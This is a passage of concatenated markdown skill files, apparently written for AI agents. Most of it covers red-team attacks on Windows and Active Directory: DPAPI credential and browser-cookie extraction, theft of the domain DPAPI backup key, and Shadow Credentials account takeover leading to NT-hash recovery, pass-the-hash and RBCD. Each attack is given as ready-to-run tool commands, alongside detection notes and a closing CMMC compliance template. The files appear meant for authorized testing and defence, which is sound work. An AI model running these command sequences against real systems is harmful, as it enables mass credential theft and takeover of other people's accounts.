Standards\n\n- **MS-BKRP** — BackupKey Remote Protocol; the RPC interface used to retrieve the domain DPAPI backup key.\n- **MS-DPSP / DPAPI** — Microsoft's Data Protection API specification governing master keys and blob protection.\n- **D3FEND** — Credential Eviction / Password Rotation as mitigations after DPAPI compromise.\n\n## Official Resources\n\n- SharpDPAPI / SharpChrome: https://github.com/GhostPack/SharpDPAPI\n- Mimikatz: https://github.com/gentilkiwi/mimikatz\n- Impacket: https://github.com/fortra/impacket\n- DonPAPI: https://github.com/login-securite/DonPAPI\n- HackTricks DPAPI: https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html\n- SpecterOps \"Operational Guidance for Offensive User DPAPI Abuse\": https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107\n\n<!-- File: skills/abusing-dpapi-for-credential-access/SKILL.md (Tokens: ~2598 | Category: anthropic-skill) -->\n---\nname: abusing-dpapi-for-credential-access\ndescription: Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- red-team\n- credential-access\n- dpapi\n- sharpdpapi\n- post-exploitation\n- active-directory\n- windows\n- mimikatz\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.CM-01\nmitre_attack:\n- T1555.004\n---\n# Abusing DPAPI for Credential Access\n\n> **Legal Notice:** This skill is for authorized penetration testing, red-team engagements, and educational purposes only. Extracting credentials from systems you do not own or lack explicit written authorization to test is illegal and may violate computer fraud and abuse laws. Always operate within a signed rules-of-engagement and document every action.\n\n## Overview\n\nThe Windows Data Protection API (DPAPI) is the operating system's built-in symmetric-encryption service that applications use to protect secrets at rest: saved RDP and Windows Credential Manager credentials, web and Wi-Fi credentials in the Credential Vault, browser saved logins and cookies (Chrome/Edge), KeePass keys, certificate private keys, and Scheduled Task passwords. DPAPI derives a per-user (or per-machine) **master key** from the user's password (or the machine account secret), and that master key encrypts individual \"DPAPI blobs.\" The encrypted master keys live under `%APPDATA%\\Microsoft\\Protect\\<SID>\\` (user) and `%WINDIR%\\System32\\Microsoft\\Protect\\` (machine).\n\nRed teamers abuse DPAPI to recover plaintext secrets after gaining a foothold, mapping to MITRE ATT&CK **T1555.004 (Credentials from Password Stores: Windows Credential Manager)**. There are three primary decryption paths:\n\n1. **Online / context-based** — running as the target user, DPAPI APIs (`CryptUnprotectData`) transparently decrypt the user's blobs. SharpDPAPI's `/unprotect` flag uses this.\n2. **Offline with the user password or NTLM hash** — decrypt the user's master keys with `/password:` or `/ntlm:`, then decrypt the blobs offline (great for triaged files pulled from a host).\n3. **Domain-wide with the DPAPI backup key** — Domain Admins can extract the domain's RSA DPAPI backup key (`.pvk`) once, then decrypt *any* domain user's master keys forever, online or offline, with `/pvk:`.\n\nThe canonical tooling is **SharpDPAPI** (GhostPack, a C# port of Mimikatz DPAPI functionality) for Windows, **SharpChrome** for browser secrets, and **Mimikatz** (`dpapi::*`) as the original implementation. On Linux, Impacket's `dpapi.py` and `donpapi` perform remote/offline triage.\n\n## When to Use\n\n- After compromising a Windows host where the user has saved RDP, browser, or vault credentials worth harvesting for lateral movement.\n- When you hold a user's password or NTLM hash and want to decrypt their DPAPI-protected secrets offline.\n- When you have Domain Admin and want to obtain the domain DPAPI backup key to decrypt any user's protected data across the estate.\n- When triaging exfiltrated `Credentials`, `Vault`, or `Protect` directories from disk images.\n- During purple-team exercises to validate detection of DPAPI master-key access and LSASS/Protect-folder reads.\n\n## Prerequisites\n\n- An authorized foothold (interactive session, beacon, or remote admin) on the target Windows host.\n- Knowledge of the target user's SID, and one of: the user's session, password, NTLM hash, or Domain Admin rights for the backup key.\n- Tooling (compile from source or use release binaries; obtain only from official upstreams):\n\n```bash\n# SharpDPAPI / SharpChrome (GhostPack) — build with Visual Studio / msbuild\ngit clone https://github.com/GhostPack/SharpDPAPI.git\n# Open SharpDPAPI.sln and build Release, or:\nmsbuild SharpDPAPI.sln /p:Configuration=Release\n\n# Mimikatz (original DPAPI implementation)\n# https://github.com/gentilkiwi/mimikatz/releases\n\n# Linux remote/offline triage (Impacket)\npipx install impacket            # provides dpapi.py / impacket-dpapi\npipx install donpapi             # https://github.com/login-securite/DonPAPI\n```\n\n## Objectives\n\n- Triage a host for DPAPI-protected credential, vault, RDP, and certificate blobs.\n- Decrypt user master keys online (`/unprotect`), with a password/hash, or with the domain backup key.\n- Recover plaintext Credential Manager and Vault secrets.\n- Extract browser saved logins and cookies with SharpChrome.\n- Obtain and reuse the domain DPAPI backup key for estate-wide decryption.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic | Relevance |\n|--------------|------|--------|-----------|\n| T1555.004 | Credentials from Password Stores: Windows Credential Manager | Credential Access | DPAPI protects Credential Manager / Vault entries; decrypting master keys and blobs recovers these stored credentials. |\n| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Credential Access | SharpChrome decrypts DPAPI-protected Chrome/Edge logins, cookies, and state keys. |\n| T1003 | OS Credential Dumping | Credential Access | Extracting master keys / backup keys is a form of credential material dumping. |\n\n## Workflow\n\n### 1. Triage the host for DPAPI blobs\n\nRun the SharpDPAPI `triage` command in the user's context to automatically enumerate and (where possible) decrypt credentials, vaults, RDG/RDP, and certificates:\n\n```powershell\n# Online triage in the current user's context (uses CryptUnprotectData)\nSharpDPAPI.exe triage /unprotect\n\n# Machine triage (requires local admin / SYSTEM) for machine-scoped blobs\nSharpDPAPI.exe machinetriage\n```\n\n### 2. Decrypt user master keys offline (password or NTLM hash)\n\nIf you hold the user's password or hash, decrypt their master keys to a `{GUID}:SHA1` mapping you can reuse against individual blobs:\n\n```powershell\n# Decrypt all of the current/specified user's master keys with the password\nSharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple\n\n# Decrypt master keys with the user's NTLM hash instead of the password\nSharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a\n\n# Output is GUID:SHA1 lines — feed them to credentials/vaults commands\n```\n\n### 3. Recover Credential Manager and Vault secrets\n\nUse the decrypted master-key mapping (or `/pvk:`) to decrypt the stored credentials and vault entries:\n\n```powershell\n# Decrypt Credential Manager blobs with a GUID:SHA1 mapping\nSharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1\n\n# Or point at a target Credentials folder and decrypt with the domain backup key\nSharpDPAPI.exe credentials /target:C:\\Users\\bob\\AppData\\Local\\Microsoft\\Credentials\\ /pvk:backupkey.pvk\n\n# Decrypt Credential Vault entries\nSharpDPAPI.exe vaults /pvk:backupkey.pvk\n```\n\n### 4. Decrypt RDP, KeePass, and certificate secrets\n\n```powershell\n# Saved RDCMan.settings RDP passwords (current user context)\nSharpDPAPI.exe rdg /unprotect\n\n# KeePass DPAPI-protected master keys\nSharpDPAPI.exe keepass /unprotect\n\n# Certificate private keys (export usable .pem with /showall for all stores)\nSharpDPAPI.exe certificates /unprotect /showall\n```\n\n### 5. Extract browser credentials with SharpChrome\n\nSharpChrome decrypts Chrome/Edge logins and cookies. Modern Chromium uses an App-Bound \"state key\" that SharpChrome resolves via DPAPI:\n\n```powershell\n# Decrypt saved logins for the current user\nSharpChrome.exe logins /unprotect\n\n# Decrypt cookies (useful for session hijacking) in a target folder\nSharpChrome.exe cookies /target:\"C:\\Users\\bob\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies\" /pvk:backupkey.pvk\n\n# Resolve the AES state key explicitly\nSharpChrome.exe statekeys /unprotect\n```\n\n### 6. Obtain the domain DPAPI backup key (Domain Admin)\n\nWith Domain Admin, retrieve the domain's RSA DPAPI backup private key once. This key decrypts every domain user's master keys indefinitely:\n\n```powershell\n# Pull and save the domain backup key as a .pvk via the MS-BKRP RPC interface\nSharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk\n```\n\nThen decrypt any user's master keys offline with it:\n\n```powershell\nSharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\\Users\\alice\\AppData\\Roaming\\Microsoft\\Protect\\\n```\n\n### 7. Remote / Linux-based triage (Impacket / DonPAPI)\n\nFrom a Linux operator box, harvest and decrypt DPAPI secrets across hosts:\n\n```bash\n# Decrypt a single masterkey file with Impacket using the domain backup key\nimpacket-dpapi masterkey -file <masterkey_file> -pvk backupkey.pvk\n\n# Decrypt a credential blob with the recovered masterkey\nimpacket-dpapi credential -file <cred_blob> -key 0x<decrypted_masterkey>\n\n# Mass remote DPAPI looting across hosts with DonPAPI\ndonpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Link |\n|------|---------|------|\n| SharpDPAPI | Windows DPAPI triage/decryption (C#) | https://github.com/GhostPack/SharpDPAPI |\n| SharpChrome | Chromium logins/cookies/state-key decryption | https://github.com/GhostPack/SharpDPAPI |\n| Mimikatz | Original DPAPI (`dpapi::*`) implementation | https://github.com/gentilkiwi/mimikatz |\n| Impacket dpapi.py | Remote/offline DPAPI decryption (Python) | https://github.com/fortra/impacket |\n| DonPAPI | Mass remote DPAPI looting | https://github.com/login-securite/DonPAPI |\n| HackTricks DPAPI | Technique reference | https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html |\n\n## Detection and OPSEC Notes\n\n- Master-key access and reads of `\\Microsoft\\Protect\\` and `\\Microsoft\\Credentials\\` are detectable; `backupkey` triggers an MS-BKRP RPC call to the DC.\n- The `/unprotect` (online) path is the stealthiest single-host option but only works as the live user.\n- Defenders should monitor for Sysmon process access to LSASS and abnormal access to Protect/Credentials folders (DE.CM-01).\n\n## Validation Criteria\n\n- [ ] Host triaged with `SharpDPAPI triage` / `machinetriage`.\n- [ ] User master keys decrypted via `/unprotect`, `/password:`, `/ntlm:`, or `/pvk:`.\n- [ ] Credential Manager and Vault secrets recovered.\n- [ ] RDP / KeePass / certificate secrets extracted where present.\n- [ ] Browser logins/cookies decrypted with SharpChrome.\n- [ ] Domain DPAPI backup key retrieved with Domain Admin (if in scope) and reused offline.\n- [ ] All recovered secrets documented with source host/user and ROE adherence confirmed.\n\n<!-- File: skills/abusing-shadow-credentials-for-privesc/references/api-reference.md (Tokens: ~746 | Category: anthropic-skill) -->\n# Shadow Credentials Tooling Reference\n\n## pyWhisker (https://github.com/ShutdownRepo/pywhisker)\n\nInvocation: `python3 pywhisker.py [auth] --target <obj> --action <action> [opts]`\n\n| Flag | Meaning |\n|------|---------|\n| `-d DOMAIN` | Target domain (FQDN) |\n| `-u USER` | Controlled username |\n| `-p PASSWORD` | Password |\n| `-k` / `--no-pass` | Kerberos auth (uses KRB5CCNAME) |\n| `-H LM:NT` | Pass-the-hash |\n| `--target NAME` | Target user/computer whose attribute is modified |\n| `--action list` | Enumerate existing Key Credentials |\n| `--action add` | Generate key pair, write Key Credential |\n| `--action remove` | Remove one Key Credential by `--device-id` |\n| `--action clear` | Remove all Key Credentials |\n| `--action info` | Show details of a Key Credential |\n| `--filename NAME` | Output PFX/PEM base name |\n| `--export PEM|PFX` | Output format (default PFX) |\n| `--device-id GUID` | Target device for remove/info |\n| `--dc-ip IP` | Domain Controller IP |\n| `--use-ldaps` | Use LDAPS (636) |\n\n### Example\n```bash\npython3 pywhisker.py -d corp.local -u attacker -p 'Passw0rd!' \\\n    --target victim --action add --filename victim_shadow\n```\n\n## Certipy `shadow` (https://github.com/ly4k/Certipy)\n\n| Command | Meaning |\n|---------|---------|\n| `certipy shadow auto` | Add → PKINIT → dump NT hash → cleanup (end to end) |\n| `certipy shadow add` | Add Key Credential only |\n| `certipy shadow list` | List Key Credentials |\n| `certipy shadow clear` | Clear Key Credentials |\n| `certipy shadow info` | Show Key Credential info |\n\nKey flags: `-u USER@DOMAIN`, `-p PW` / `-hashes :NT` / `-k -no-pass`,\n`-dc-ip IP`, `-account TARGET` (use trailing `$` for computers), `-ns IP`, `-dns-tcp`.\n\n### Example\n```bash\ncertipy shadow auto -u attacker@corp.local -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -account 'WS01$'\n```\n\n## PKINITtools (https://github.com/dirkjanm/PKINITtools)\n\n| Script | Purpose |\n|--------|---------|\n| `gettgtpkinit.py -cert-pfx FILE -pfx-pass PW DOMAIN/USER out.ccache` | Request TGT via PKINIT; prints AS-REP key |\n| `getnthash.py -key <AS-REP-KEY> DOMAIN/USER` | Recover NT hash (KRB5CCNAME set) |\n\n### Example\n```bash\npython3 gettgtpkinit.py -cert-pfx victim_shadow.pfx -pfx-pass abc123 \\\n    corp.local/victim victim.ccache\nexport KRB5CCNAME=victim.ccache\npython3 getnthash.py -key <AS-REP-KEY> corp.local/victim\n```\n\n## Detection signal\n- Event ID 5136 — modification of `msDS-KeyCredentialLink` (Directory Service Changes auditing).\n- BloodHound edge: `AddKeyCredentialLink`.\n\n<!-- File: skills/abusing-shadow-credentials-for-privesc/references/standards.md (Tokens: ~280 | Category: anthropic-skill) -->\n# Standards Mapping — Abusing Shadow Credentials for Privilege Escalation\n\n## MITRE ATT&CK (Enterprise)\n\n| ID | Name | Rationale |\n|----|------|-----------|\n| T1098.005 | Account Manipulation: Device Registration | Writing an attacker-controlled Key Credential to `msDS-KeyCredentialLink` registers an alternate device/certificate credential for the target, which is exactly the device-registration manipulation this sub-technique describes. |\n\nReference: https://attack.mitre.org/techniques/T1098/005/\n\nRelated techniques exercised in the chain:\n- T1649 (Steal or Forge Authentication Certificates) — the PKINIT certificate used to authenticate.\n- T1550.003 / T1558 — using the recovered TGT/hash for movement.\n\n## NIST Cybersecurity Framework 2.0\n\n| ID | Name | Rationale |\n|----|------|-----------|\n| PR.AA-05 | Access permissions, entitlements, and authorizations are defined, managed, and enforced incorporating least privilege and separation of duties | The attack is only possible because of over-permissive ACEs (`GenericWrite`/`GenericAll`/`AddKeyCredentialLink`) on AD objects; remediation is least-privilege enforcement of who may write Key Credentials. |\n\nReference: https://csrc.nist.gov/projects/cybersecurity-framework\n\n<!-- File: skills/abusing-shadow-credentials-for-privesc/SKILL.md (Tokens: ~2381 | Category: anthropic-skill) -->\n---\nname: abusing-shadow-credentials-for-privesc\ndescription: Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- red-team\n- active-directory\n- shadow-credentials\n- pywhisker\n- certipy\n- pkinit\n- key-credential-link\n- privilege-escalation\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.AA-05\nmitre_attack:\n- T1098.005\n---\n# Abusing Shadow Credentials for Privilege Escalation\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Shadow Credentials grant full takeover of the targeted account. Use only against systems you own or are explicitly authorized in writing to test. Unauthorized access is a crime.\n\n## Overview\n\nThe **Shadow Credentials** technique abuses the `msDS-KeyCredentialLink` attribute of Active Directory user and computer objects. This attribute stores raw public keys (\"Key Credentials\") used by Windows Hello for Business and Azure AD device registration for passwordless certificate-based logon via PKINIT (Public Key Cryptography for Initial Authentication in Kerberos). If an attacker has write permission over a target object's `msDS-KeyCredentialLink` — typically granted by `GenericWrite`, `GenericAll`, `WriteProperty`, or `AddKeyCredentialLink` ACEs surfaced in BloodHound — they can append their own attacker-generated public key. They then request a TGT for the target via PKINIT using the matching private key and recover the target's NT hash, achieving complete account takeover **without resetting the password**, which is far stealthier than a forced password reset.\n\nThe technique was published by Elad Shamir (*\"Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover\"*) and implemented in the C# tool **Whisker**. The Python equivalent **pyWhisker** (ShutdownRepo) manipulates the attribute over LDAP, and **Certipy** integrates the entire chain via `certipy shadow auto`. The target environment must support PKINIT and have at least one Domain Controller running Windows Server 2016 or later. Sources: [pyWhisker](https://github.com/ShutdownRepo/pywhisker), [Whisker](https://github.com/eladshamir/Whisker), [The Hacker Recipes — Shadow Credentials](https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials).\n\n## When to Use\n\n- When BloodHound reveals `GenericWrite`/`GenericAll`/`AddKeyCredentialLink` over a higher-value user or computer\n- As a stealthier alternative to `ForceChangePassword` (no password reset = less disruption/alerting)\n- To take over a computer account to chain into Resource-Based Constrained Delegation (RBCD)\n- During red-team operations needing account takeover without locking out the legitimate user\n- For purple-team exercises generating `msDS-KeyCredentialLink` modification telemetry\n\n## Prerequisites\n\n- Authorized engagement scope including AD credential-access techniques\n- Control of a principal with write access to the target's `msDS-KeyCredentialLink`\n- A DC running Windows Server 2016+ with PKINIT enabled (domain functional level supporting Key Trust)\n- Network reachability to LDAP (389/636) and Kerberos (88) on a DC\n- Linux attack host with Python 3.8+; install the tooling:\n  ```bash\n  # pyWhisker (from source)\n  git clone https://github.com/ShutdownRepo/pywhisker\n  cd pywhisker && pip install .\n  # Certipy (integrated shadow attack)\n  pipx install certipy-ad\n  # PKINITtools for manual TGT/NT-hash extraction\n  git clone https://github.com/dirkjanm/PKINITtools\n  ```\n\n## Objectives\n\n- Confirm write access over a target's `msDS-KeyCredentialLink`\n- Generate a key pair and append a Key Credential to the target object\n- Request a TGT for the target via PKINIT using the new key\n- Recover the target's NT hash for pass-the-hash / further movement\n- Clean up the injected Key Credential to restore the object's state\n- Document the ACL path that enabled the attack for remediation\n\n## MITRE ATT&CK Mapping\n\n| ID | Technique | Application in this skill |\n|----|-----------|---------------------------|\n| T1098.005 | Account Manipulation: Device Registration | Writing an attacker-controlled Key Credential (device key) to `msDS-KeyCredentialLink` to register an alternate authentication credential for the target account |\n\n## Workflow\n\n### Step 1: Confirm the write primitive\nList existing Key Credentials on the target to verify you have the required access. An empty or readable result confirms write access for the `add` step.\n\n```bash\npython3 pywhisker.py -d \"corp.local\" -u \"attacker\" -p \"Passw0rd!\" \\\n    --target \"victim\" --action \"list\"\n```\n\n### Step 2: Add a Shadow Credential with pyWhisker\nGenerate a certificate/key pair and write it into the target's `msDS-KeyCredentialLink`. pyWhisker outputs a PFX you control.\n\n```bash\npython3 pywhisker.py -d \"corp.local\" -u \"attacker\" -p \"Passw0rd!\" \\\n    --target \"victim\" --action \"add\" --filename victim_shadow\n# Produces victim_shadow.pfx and prints the PFX password\n```\nUse Kerberos auth instead of a password if you only hold a ticket:\n```bash\npython3 pywhisker.py -d \"corp.local\" -u \"attacker\" -k --no-pass \\\n    --target \"victim\" --action \"add\" --filename victim_shadow --use-ldaps\n```\n\n### Step 3: Request a TGT via PKINIT\nUse the generated PFX with PKINITtools to obtain a Kerberos TGT for the target.\n\n```bash\npython3 PKINITtools/gettgtpkinit.py \\\n    -cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORD> \\\n    corp.local/victim victim.ccache\n```\n\n### Step 4: Recover the NT hash\nExtract the target's NT hash from the AS-REP using the session key from Step 3 (`getnthash.py` reads the AS-REP encryption key, displayed by `gettgtpkinit.py`).\n\n```bash\nexport KRB5CCNAME=victim.ccache\npython3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim\n# Prints the NT hash for 'victim'\n```\n\n### Step 5: One-shot alternative with Certipy\nCertipy's `shadow auto` performs add → PKINIT → dump hash → cleanup automatically, which is ideal for computer-account takeover.\n\n```bash\ncertipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -account 'victim'\n# For a computer account, use the sAMAccountName with trailing $\ncertipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -account 'WS01$'\n```\n\n### Step 6: Use the recovered credential\nAuthenticate with the NT hash (or the TGT) to continue the engagement.\n\n```bash\n# Pass-the-hash with NetExec\nnxc smb 10.0.0.10 -u victim -H <RECOVERED-NT-HASH>\n# Or use the TGT directly\nexport KRB5CCNAME=victim.ccache\nnxc smb dc.corp.local -u victim --use-kcache\n```\n\n### Step 7: Chain computer takeover into RBCD (optional)\nWhen the target is a computer, the recovered key/hash lets you configure Resource-Based Constrained Delegation to impersonate any user to that host.\n\n```bash\n# Set RBCD so attacker-controlled SPN can impersonate to WS01$\nimpacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \\\n    -action write 'corp.local/attacker:Passw0rd!'\n```\n\n### Step 8: Clean up\nRemove the injected Key Credential to restore the object and reduce detection footprint.\n\n```bash\n# pyWhisker: remove by device-id (printed during add) or clear all you added\npython3 pywhisker.py -d \"corp.local\" -u \"attacker\" -p \"Passw0rd!\" \\\n    --target \"victim\" --action \"remove\" --device-id <DEVICE-ID>\n# Certipy shadow auto cleans up automatically; otherwise:\ncertipy shadow clear -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -account 'victim'\n```\n\n## Tools and Resources\n\n| Resource | Purpose | Link |\n|----------|---------|------|\n| pyWhisker | Python LDAP manipulation of msDS-KeyCredentialLink | https://github.com/ShutdownRepo/pywhisker |\n| Whisker | Original C# implementation | https://github.com/eladshamir/Whisker |\n| Certipy | `shadow auto` end-to-end takeover | https://github.com/ly4k/Certipy |\n| PKINITtools | gettgtpkinit / getnthash | https://github.com/dirkjanm/PKINITtools |\n| The Hacker Recipes | Technique walkthrough & defenses | https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials |\n\n## Detection and Remediation Notes\n\n| Area | Guidance |\n|------|----------|\n| Detection | Monitor Windows Security Event ID 5136 (directory object modified) for changes to `msDS-KeyCredentialLink`; alert when a non-AD-Connect/non-Intune principal writes the attribute. |\n| Auditing | Enable directory service object change auditing on user/computer OUs. |\n| Least privilege | Remove unnecessary `GenericWrite`/`GenericAll`/`AddKeyCredentialLink` ACEs (BloodHound `AddKeyCredentialLink` edge). |\n| Mitigation | Where Windows Hello/device registration is unused, restrict who can write Key Credentials and consider tier-0 protected accounts. |\n\n## Validation Criteria\n\n- [ ] Write access over the target's `msDS-KeyCredentialLink` confirmed (`list` succeeded)\n- [ ] Key Credential successfully added (PFX generated)\n- [ ] PKINIT TGT obtained for the target account\n- [ ] Target NT hash recovered and validated against a service\n- [ ] (If computer) RBCD chain or onward movement demonstrated\n- [ ] Injected Key Credential removed / object restored\n- [ ] Enabling ACL path documented with remediation recommendation\n\n<!-- File: skills/achieving-cmmc-level-2-compliance/assets/template.md (Tokens: ~1135 | Category: anthropic-skill) -->\n# CMMC Level 2 Readiness Report — Worked Example\n\n> Filled example for a small DIB manufacturer handling CUI on a segmented enclave.\n> Replace bracketed content for your own organization.\n\n## 1. Applicability & CUI Categories\n- **Contract drivers:** Prime subcontract with DFARS **252.204-7012** and **-7021**; CUI present → **CMMC Level 2** required.\n- **CUI categories (from contract + DoD CUI Registry):** Controlled Technical Information (CTI), Export Controlled (EAR).\n- **Target assessment path:** Triennial **C3PAO** certification (Phase 2 applies from Nov 10, 2026).\n\n## 2. Scope (CMMC Level 2 Scoping Guide)\n| Category | Examples in this environment |\n|---|---|\n| CUI Assets | Engineering workstations, CUI file share, the segmented \"Enclave-1\" VLAN |\n| Security Protection Assets | EDR console, SIEM, firewall, IdP/MFA, jump host |\n| Contractor Risk Managed | General corporate laptops (policy-blocked from CUI) |\n| Specialized Assets | CNC machine controllers (documented, isolated) |\n| Out-of-Scope | Guest Wi-Fi, marketing SaaS |\n\n**Boundary note:** CUI is confined to Enclave-1 behind segmentation and MFA. Deliberately minimized to shrink the assessment surface. See network diagram `CUI-boundary-v3`.\n\n## 3. Control Status by Family (NIST SP 800-171 Rev 2)\n*(summary; full per-requirement status lives in the SSP)*\n\n| Family | Met | Partial | Not Met | N/A |\n|---|---|---|---|---|\n| 3.1 Access Control | 22 | 0 | 0 | 0 |\n| 3.3 Audit & Accountability | 8 | 0 | 1 | 0 |\n| 3.5 Identification & Auth | 10 | 1 | 0 | 0 |\n| 3.8 Media Protection | 8 | 0 | 1 | 0 |\n| 3.13 System & Comms Protection | 15 | 0 | 1 | 0 |\n| 3.14 System & Info Integrity | 6 | 0 | 1 | 0 |\n| *(others)* | all met | — | — | — |\n\n## 4. SPRS Score\n*(computed by `scripts/process.py` from the control-status JSON)*\n\n- **Score: 97 / 110** (started at 110; deducted 13).\n- **Gap to perfect:** 13 points across 4 not-met + 1 partial requirement.\n- **Conditional threshold (≥ 88):** **MET** (margin 9) — eligible for Conditional status *if* the remaining items are POA&M-eligible.\n- **Posted to SPRS:** score, SSP date, and assessment scope.\n\n## 5. POA&M (eligibility-checked)\n| ID | Requirement | Points | Eligibility | Remediation | Owner | Milestone (≤180d) |\n|---|---|---|---|---|---|---|\n| 3.3.1 | Audit log generation/coverage | 5 | **Verify** — high weight; confirm against 32 CFR 170 | Enable full audit policy + ship to SIEM | SecOps | 2026-07-30 |\n| 3.13.11 | FIPS-validated cryptography | 3 | **Verify** eligibility | Replace non-validated module with FIPS 140-validated | Infra | 2026-08-15 |\n| 3.5.3 | MFA (partial) | 3 | Partial-credit control | Extend MFA to remaining admin paths | IAM | 2026-07-20 |\n| 3.8.9 | Backup CUI protection | 1 | Eligible | Encrypt + access-control backup store | Infra | 2026-08-31 |\n| 3.14.1 | Flaw remediation | 1 | Eligible | Formalize patch SLA + tracking | IT | 2026-08-31 |\n\n> The two 3-point and one 5-point items must clear eligibility review; the highest-weighted security requirements generally cannot remain on a POA&M. All items close within **180 days** to convert Conditional → **Final**.\n\n## 6. Assessment Path\n- **Type:** C3PAO certification assessment.\n- **Target window:** Q4 2026, after POA&M closure of the high-weight items.\n- **Affirmation owner:** [senior official] files the annual affirmation in SPRS.\n\n## 7. Remediation Roadmap (sequenced by point value, then effort)\n1. **3.3.1 audit logging (5 pts)** — biggest score lever and likely POA&M-ineligible → do first.\n2. **3.13.11 FIPS crypto (3 pts)** and **3.5.3 MFA gap (3 pts)** — close to remove eligibility risk.\n3. **3.8.9, 3.14.1 (1 pt each)** — low-effort cleanups before the C3PAO date.\n4. Re-run the SPRS calculator after each closure; goal is **110** before assessment.\n\n<!-- File: skills/achieving-cmmc-level-2-compliance/references/standards.md (Tokens: ~1363 | Category: anthropic-skill) -->\n# CMMC Level 2 — Standards & Reference\n\n## Governing rules\n| Rule | Citation | Status / effective date |\n|---|---|---|\n| CMMC Program rule | 32 CFR Part 170 | Effective **December 16, 2024** |\n| CMMC acquisition rule (DFARS) | 48 CFR; DFARS clause **252.204-7021** (and 204.7503) | Published Sept 10, 2025; effective **November 10, 2025** |\n| Safeguarding CUI / incident reporting | DFARS **252.204-7012** | In effect |\n| NIST 800-171 self-assessment + SPRS posting | DFARS **252.204-7019 / -7020** | In effect |\n\n> Always confirm current status at the source — acquisition rules and phase dates have moved before. Authoritative: https://dodcio.defense.gov/CMMC/ and the eCFR for 32 CFR Part 170.\n\n## Phased rollout (per the acquisition rule)\n| Phase | Begins | What applies |\n|---|---|---|\n| Phase 1 | **Nov 10, 2025** | Level 1 and some Level 2 **self-assessment** required in solicitations |\n| Phase 2 | **Nov 10, 2026** | Level 2 **C3PAO certification** required for applicable contracts |\n| Phase 3 | **Nov 10, 2027** | Level 2 C3PAO + Level 3 **DIBCAC** assessment phased in |\n| Phase 4 | **Nov 10, 2028** | Full implementation across applicable DoD contracts |\n\n## The three CMMC levels\n| Level | Protects | Requirements | Assessment |\n|---|---|---|---|\n| Level 1 | FCI | 15 requirements (FAR 52.204-21) | Annual self-assessment + affirmation |\n| Level 2 | CUI | **110 requirements (NIST SP 800-171 Rev 2)** | Self **or** triennial C3PAO certification |\n| Level 3 | CUI (high priority) | 110 + selected **SP 800-172** enhanced | DoD (DIBCAC) assessment |\n\nCertification validity: **3 years**, with **annual affirmation** by a senior official in SPRS.\n\n## NIST SP 800-171 Rev 2 — the 14 families (110 requirements)\n| § | Family | # reqs |\n|---|---|---|\n| 3.1 | Access Control | 22 |\n| 3.2 | Awareness and Training | 3 |\n| 3.3 | Audit and Accountability | 9 |\n| 3.4 | Configuration Management | 9 |\n| 3.5 | Identification and Authentication | 11 |\n| 3.6 | Incident Response | 3 |\n| 3.7 | Maintenance | 6 |\n| 3.8 | Media Protection | 9 |\n| 3.9 | Personnel Security | 2 |\n| 3.10 | Physical Protection | 6 |\n| 3.11 | Risk Assessment | 3 |\n| 3.12 | Security Assessment | 4 |\n| 3.13 | System and Communications Protection | 16 |\n| 3.14 | System and Information Integrity | 7 |\n| | **Total** | **110** |\n\n(Assessment objectives for each requirement are in **NIST SP 800-171A**.)\n\n## DoD Assessment Methodology — SPRS scoring\n- Start at **110**. Subtract the weighted value of each **NOT MET** requirement.\n- Weights: **1, 3, or 5 points**. The most security-significant requirements are weighted 3 or 5.\n- **Partial credit** applies to a small number of requirements (notably MFA at 3.5.3 and FIPS-validated cryptography at 3.13.11) where partial implementation reduces the deduction.\n- Maximum score **110**; the methodology floor is **−203** (more is deducted than the 110 starting points because of the weighting).\n- The complete per-requirement point assignment is published in the **DoD NIST SP 800-171 Assessment Methodology** — use that document for the authoritative weight of each control rather than estimating.\n\n## POA&M rules under the CMMC rule (32 CFR Part 170)\n- A **Conditional** Level 2 status is allowed only if the assessment score is **at least 80% (≥ 88 of 110)**.\n- Only **POA&M-eligible** requirements may be deferred. The highest-weighted security requirements generally **must be fully met** and **cannot** sit on a POA&M — verify each item's eligibility against the rule.\n- All POA&M items must be **closed within 180 days**; a closeout assessment then converts **Conditional → 